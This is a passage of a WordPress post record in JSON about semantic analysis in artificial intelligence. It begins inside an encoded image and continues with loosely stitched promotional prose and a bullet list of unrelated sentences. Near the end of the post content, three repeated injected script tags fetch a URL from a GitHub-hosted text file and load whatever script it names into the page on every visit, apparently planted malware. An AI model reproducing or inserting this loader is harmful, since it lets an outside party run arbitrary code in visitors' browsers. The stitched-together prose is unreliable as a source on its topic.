920p5CpsWoLSdNFA69XHrjylaTm0GM0ZvTiCSx47TvuvlOdKuSZnm3uW9BKdwQJdCklO6RxJ117Eef9r6pfukEvl2xGcbyzaKu7T5j73Yqpt+mqRyyOM8ZxCWUnXgCrhu+5Aeutrf8G8e\/iybanlJqO3tT20eQu9G2v0iqx5vq8xtkPWRYI2nadYMukZHtLk1UZ9wz5dFSa\/wqUAy+nulCuvqEej7UP8Axo8hd6Ns\/pFVgN5yJSJ+uWy\/TqZdT1uTLjjJTUWl7qm0hxJWkakDVSAtI16ioHThHVW5b18M27PUKvXsmbmnmkoZq0u2AtDx15ZQQdQkBfBKSpWgBHDqj7zKixF2FOJySXBQOVl1TBQ0tw7yXUqQnRAKiFKAQRp6oKKf5Wka9bNPxbT7AqqWbhdq1rJkktvoeddccSwlSwpxRT98WXF8orlNAVdYJA1gOfdNl33NWxSqLbuWH6bVJRx5T1Rfl0uKmhuqLYKAQPUvchve62HEcCvUcuUkshS1LXT016mzEgW0sNTzz61PNy3KK1dKkoG87yBTod4jfTvEkExo93yGzzU8c28xU6pN0y1w8\/6GOMPTTCt9QW2rVShynqVOcsNfWqYS7wDWo2KlUO2Zijz0\/Sb3mkUhbDExOU+XSkliVTqtMvyBClMhTf3soCAsjUDRXUH1aFrZJoUpNsLyQzcU3MOFx553RsMLK2d5LaNHAE74nSASOC20E6o3x81K2b+mbrFxNZHYlJgMuoboaFq5qXywpI4q9VwUZRfrNODmo++AjV8fUbC\/oc\/L49vR+WlJedUZp6ZfWhUzMgNoWouLKC4SGt8lJIJmC7w5QKPIrdLw+1kxEtWbkn0X3zWYSmdcl1gIa5qvfUVJQGgC08DxPHmyeyydAqdqSt5SsxUxdlZkZ9t2ZWuQEsxyZZYJO6hZ\/lKAKfVcNePCNDzT7JmEe\/Oa8hVSNux9SKJSVVf0Fu6arnOptTz4enxMiVcJJLaOJKE6k6J14aadiNQzV7JeEe\/Oa8hVSA63BYPp1Z9OnD7qaX5EkYuMeS7WO0CjP2ck4elMeu08XFS+dquWYnkP8t6DSXrBLoUnc3SnrOuusUHlduD\/ACdg3xyr\/ZQFzhEM5Xbg\/wAnYN8cq\/2UOV24P8nYN8cq\/wBlAXOIdtR9eJPjRoP+\/j55Xbg\/ydg3xyr\/AGUdJXcd7VOSLhskZEdxVI0O2LpkbjmFUWYqLk25zcL0bQHmwjjvnrIgPRo6ozGBrpxjMAhCEBgxDNn\/ANknPff8x5CpkXMxDNn\/ANknPff8x5CpkBnCXtgtobvhoPkGTi5xDMJe2C2hu+Gg+QZOLnAIQhAIQhAIQhAIQhAIQhAI+VNoV64a8df6Y+oQEm2hf4DYPxg2\/wDpMVgdUSfaG\/gNg\/GDb\/6VFYHVAa\/kCvvWtZlXuFhhp5yRlVvBLxIaGg9c4RxCE+uURx3QdOMTa2axjyYrbNs12z00uoM1JVKpUyWnf7oiV5NSFIdKUkthLTeiVKUCqXWBvBtKlWd5pDzamXUJWhYKVJUAQQesEHrj8+bN6N\/eW\/vR9QN0epHY09yA1Ccu2py9PuufmrEqO7QZWYel0aBSqoEIWeTZAH8rcGgOvrxGl2dWsM1iaplMZoSKBPCoTLVOpy2XWEPKZeK0PtoASlQcTLtvhRHUhOvrRFpMfkuVZU6l8tIK0a7qt0bwJGhOv5IDQqFNWhVKqy5P0kU+st1F9MvLKStG84h2e3HEo6iVo5y4Vafyjx10jSZKs2TWnJJ6VtSTpNwTtWZRU5V6UellPrW7qhSVJKQ8pKyiYKSTwbWrgRrFyTJy6XTMc3a5U9a9wb35+vsx8zEhKTJSp+UYdKCopK0A6bw3Vaa9WoJB\/EYDoMbTbU1Y1EVLU9uSYblG2GmWkkNhDY3ElviTuEJ1TqSdCNY2iPhlpthpDDSEoQ2kJSlKQAAOoADgI+4CJ4H45Wz0P9NZTyFTYtRSlXXEVwP7K+eu\/aU8hU2LZAQra19TbePgngDk209fx\/3SajtrUH\/GjyF3o21+kVWOp2t\/wbx78ZtqeUmo\/Sl3NblA2or\/ADXa\/Tqdyto23yYmppDRXpMVTXd3iNdNR1e6IDfcp3K1bFDl5iasuduaVmZpDTkrKyvOVNlILiHC3oeAW2nQ9hRSY6Ozrmt5VszdYtCyn2qlLSkq1NUBtstLlhqoIYSggJQE\/fDolIB49mKNTKpTa1JN1GkT8vOyruvJvsOBxteh0OihwPER+qGUocK0ISCrrIA1011\/2kmAluSLplZe2KPPVvDM7cjk2l9wU0ySZpcostKbcCtUqCSph2YTrw1BUj\/lNI4bdxYbqb8\/MolhNVXnjbr8k4t5SX6ihbZZRodUqUHHGgk6aAEH1sWIjWOL6HSYmedJkpcOjgHA0N\/Th2evsD8wgIZSr8xiqVlXrnx\/N2Uy1MuCkMLl3JRU1yUshYWlCAgJJlW2QEqOuiVtf8mpJ59Uue0ZCrN0ejYsmajRlMu85r0tLlKZdLfOUOpLm7vqWEonwdDrr6nUF9JNnmZGUnEhE1LNPJB1AcQFD8x\/KY+0sNpbDIbQGwNNwJAH5oDRcXVzGVTVPIxzLpQiYCZ2YdblXG23yv1rgUoaL1B11BJ92OgzT7JmEe\/Oa8hVSKbVKlRbYpkxWqzOydMp0m2XH5l9aWWWWxxKlrOiUj8Z0EQW\/ct4uvzLWFabZORLbr04zd8085L02qsTLiG\/QOpjeKUKJ01Uka\/jEB3WC\/Zrz7300vyHIxcYh2C\/Zrz7300vyHIxcYBCEIBCEIBCEIBCEIDBiGbP\/sk577\/mPIVMi5mIZs\/+yTnvv+Y8hUyAzhL2wW0N3w0HyDJxc4hmEvbBbQ3fDQfIMnFzgEIQgEIQgEIQgEIQgEIQgEIQgIttTVyUtq1rOuCfZnHpWn31Qph5EnKOTT6kpmeptppKluK\/6KQTH30qrCHD7jsnf048rnmkc3aF\/gVgfGDb\/wCkxWE8EgfigIz0q7B+B2Tfo9rnmkOlXYPwOyb9Htc80izxpV4ZkxpYNy0y0bwuhmmVWryz05KtOsOlBYZ05VxbqUFtpKdRqVqSIDTelXYPwOyb9Htc80h0q7B+B2Tfo9rnmkbLX9oDCdr02Wq9dyXb8pKTjCZqWcM4lXLsl7kd9ATqVgOepJAOhB100Mc2YzRiOUmeZTOSbaZf3Vq5NypspVohbqFnQq10CmHkn3C2r3DAab0q7B+B2Tfo9rnmkOlXYPwOyb9Htc80jaK3nnEdAkrdqE9ekq9L3ZMuSlEXIMuz3PnmyQtLYl0LJ3SCFHqBB10jl0rM+KK7czFm0PIFEqFamec8lJyk2l1ajLlHLD1OoBTyqNQTrx1Guh0DTOlXYPwOyb9Htc80jI2qrBOutn5O4e5juuH\/APyRZQQRqOowUNRpAeftl25ZG774zfcdNlKlLS07ekqpDVSp78jMp3aLTknfYfQhxHFJ03kjUaEaggn0FETwRp6a+etPhrJ+QqbFsgPP+2fVJaiWJZlam2pl1inZEtiadRKy7kw8pCKg2ohDbaVLWrhwSASeoR0V4X5suZDqiK5f2ztXrlqLbSWETdXxFU5x5LaSSlAW7IqVugqUdNeyY2ja3\/BvHvxm2p5Sai6JGgEBBbY2gMN2TRZe27OxbfdDpMpvc3kadjKsS0u1vEk7rbcmEp1JJ4CO06Vdg\/A7Jv0e1zzSLPCAjHSrsH4HZN+j2ueaQ6Vdg\/A7Jv0e1zzSOwltqjZ\/m66u2W8lSCam086w7LusPtKaW2ZsOb5WgBATzCbKlKIADYJOi0FXaS+f8LzMxzZvJVAClTDcoypc6hCH3XENqSlpSiA4dHmgd0nQrSDoTpAa30q7B+B2Tfo9rnmkOlXYPwOyb9Htc80jt7f2m8B3PLNTdIylQlodk3J\/R1\/kVNstlsLU4lYBbILzXqVgK9WOEUiQn5KqSTFRp0y3MSsy2l1l1s6pWgjUKB7IIgI7MbUeOpthctNWRkl5l1JSttzHdbUlQPWCDKaERwZfaIxHJzCJuTxtkBh5sEIcaxrWUqTqNDoRJ69RI\/pMXiEB512XrpkbzyVnC5aZKVKVlZ656dybVSp78jMApo0mk7zL6EOJ4p4ap4g6x6KiHYL9mvPvfTS\/IkjFxgEIQgEIQgEIQgEIQgMGIZs\/+yTnvv8AmPIVMi5mIZs\/+yTnvv8AmPIVMgM4S9sFtDd8NB8gycXOIZhL2wW0N3w0HyDJxc4BCEIBCEIBCEIBCEIBCEIBCEICTbQxAkrA119kGgfpMVcKGg4xq2ScZ2tla3m7Zu1E+ZRqcZn2lyFQekphp9pW82tDzKkrSQePAiJz0QcZ6ki6snj\/APIla84gLhqPdEabe2H8a5GnFz97WrJ1Z9dMmKNvvlRKZR9SVOoToRuElCfVp0UNOBjQOiBjT4VZP+kStecQ6IONPhVk\/wCkStecQHbVTZUwLWeYeiNk8qaZK8zk1eik4lTLYcccG6Q7rvb7zit\/12pHHgI+mNlfAzNRrlW+4ZD0zcknN0+qKfqM26l+XmnnXn291TpShK3Zh9whIHqnVEaGOn6H+M\/hTk76RK15xDogY0+FWT\/pErXnEBs9Z2dMPXDaVIsSt2uucoNEmVTcpIOVKaDXLF3litwB0cqeU9V983gCTppqdfqydnnEGOKpL1qx7VFHm5YzRbVLz0xufvgI5VJQpwpKDyTZCCN1JSN0CNW6IGM\/hTk76RK15xDogY0PXdWT\/pErXnEBcQRp1iBUB2REO6IGNPhVk\/6RK15xDogY0+FWT\/pErXnEB++BwPTWz0ddf+Gsn5CpsWuNGxfh+z8PyNSkbPbqivRmdE\/PzFSqkxUJmYfDaGgtb0wtSzo22hIGvUke5G8wEL2thrbWPjx4ZNtPyk1FzCknqIjUsnYvtLLltptW8pecckUTkvUGlSc89KPtTLCwtpxDrKkrQpKgCCCOqJ30QMZj\/nTk76RK15xAXHUe6Iaj3REO6IONPhVk\/wCkStecQ6IGNPhVk\/6RK15xAd7Vdl3AdbqVTrFUxxTZibrDlSenXVOO6urn0NImydFjTlEsoHDq9UU6bytdbuPYwwtW5yizdOlanQ1UmfbnnjITyyqf3HJZzknlOlZKFKkpYqCdCdzXUHjH79EDGnwqyf8ASJWvOIdEDGfwqyd9Ila84gO3Rsr4JZk5iQYsvkZeakE0x9tupTaUuy6QyEoUA7x05uzoesbvXxMUug0WmW1RZG36MyWZCmy6JWVaLilltpA3Up3lEqVoABqSSdOJJiO9EDGnwqyd9Ila84h0QMaD\/nVk\/wCkStecQFx1HuiGo90RDuiBjT4VZP8ApErXnEOiDjT4VZP+kStecQGcF+zVn06HjdNL7H\/YcjFxjRMWYasrD7NWas9NWW5XJpM7UJiqVWZqExMOpaQ0lSnZha1nRDaEga6aARvcAhCEAhCEAhCEAhCEBgxDNn\/2Sc99\/wAx5CpkXMxDNn\/2Sc99\/wAx5CpkB+eFZlhraE2hkuupQfuhoGm8dNf7gSZ7P9P5ouPPZP3014YiZ3tsxbP2RblmrwvjEluVqtTqUJmJ6alAp10IQlCd49nRKEpB9wAR0XQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtPPZP3014Yhz2T99NeGIi3Qr2Ue0LaPiQ+uHQr2Ue0LaPiQ+uAtJnJM8edNeGIiOz8pKskZ6UghSTfzOih1H+4dMH\/AJR+vQr2Ue0LaPiQ+uKDjbFOOMTUiaoeNbNpluSE5NGcmGJBnk0uvFCUb6tOs7qED8iRAf\/Z\" width=\"304px\" alt=\"semantic analysis in artificial intelligence\"\/><\/p>\n<p><p>We can do semantic analysis automatically works with the help of machine learning algorithms&nbsp;by feeding semantically enhanced machine learning algorithms with samples of text data, we can train machines to make accurate predictions based on their past results. Linked data based on W3C Standards can serve as an enterprise-wide data platform and helps to provide training data for machine learning in a more cost-efficient way. Instead of generating data sets per application or use case, high-quality data can be extracted from a knowledge graph or a semantic data lake. Through this standards-based approach, also internal data and external data can be automatically linked and can be used as a rich data set for any machine learning task. Most machine learning algorithms work well either with text or with structured data, but those two types of data are rarely combined to serve as a whole. Links and relations between business and data objects of all formats such as XML, relational data, CSV, and also unstructured text can be made available for further analysis.<\/p>\n<\/p>\n<ul>\n<li>In other words, we can say that polysemy has the same spelling but different and related meanings.<\/li>\n<li>Mail us on h[email\u00a0protected], to get more information about given services.<\/li>\n<li>A semantic network is used when one has knowledge that is best understood as a set of concepts that are related to one another.<\/li>\n<li>These case-studies reflect Chinese judges\u2019 thoughts on AI and its assistance for trials.<\/li>\n<li>People are instrumental to the business rules that form the basis of machine reasoning at the core of the symbolic AI method semantic technologies underpin.<\/li>\n<li>The blockchain facilitates access by HDG, MedRec, PSN &#038; BBDS to medical institutions, patients, and other related stakeholders on electronic health data.<\/li>\n<\/ul>\n<p><p>Read more about <a href=\"https:\/\/www.metadialog.com\/\">https:\/\/www.metadialog.com\/<\/a> here.<\/p>\n<\/p>\n<div style='border: black dotted 1px;padding: 14px;'>\n<h3>insideBIGDATA Latest News \u2013 10\/23\/2023 &#8211; insideBIGDATA<\/h3>\n<p>insideBIGDATA Latest News \u2013 10\/23\/2023.<\/p>\n<p>Posted: Mon, 23 Oct 2023 10:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMiSmh0dHBzOi8vaW5zaWRlYmlnZGF0YS5jb20vMjAyMy8xMC8yMy9pbnNpZGViaWdkYXRhLWxhdGVzdC1uZXdzLTEwLTIzLTIwMjMv0gEA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Artificial Intelligence Market Analysis Trend Thematic Intelligence Moreover, some chatbots are equipped with emotional intelligence that recognizes the tone of the language and hidden sentiments, framing emotionally-relevant responses to them. Maps are essential to Uber\u2019s cab services of destination search, routing, and prediction of the estimated arrival time (ETA). Along with services, it also improves [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[437],"tags":[],"class_list":["post-4545","post","type-post","status-publish","format-standard","hentry","category-artificial-intelligence"],"_links":{"self":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4545"}],"collection":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4545"}],"version-history":[{"count":4,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4545\/revisions"}],"predecessor-version":[{"id":4935,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4545\/revisions\/4935"}],"wp:attachment":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}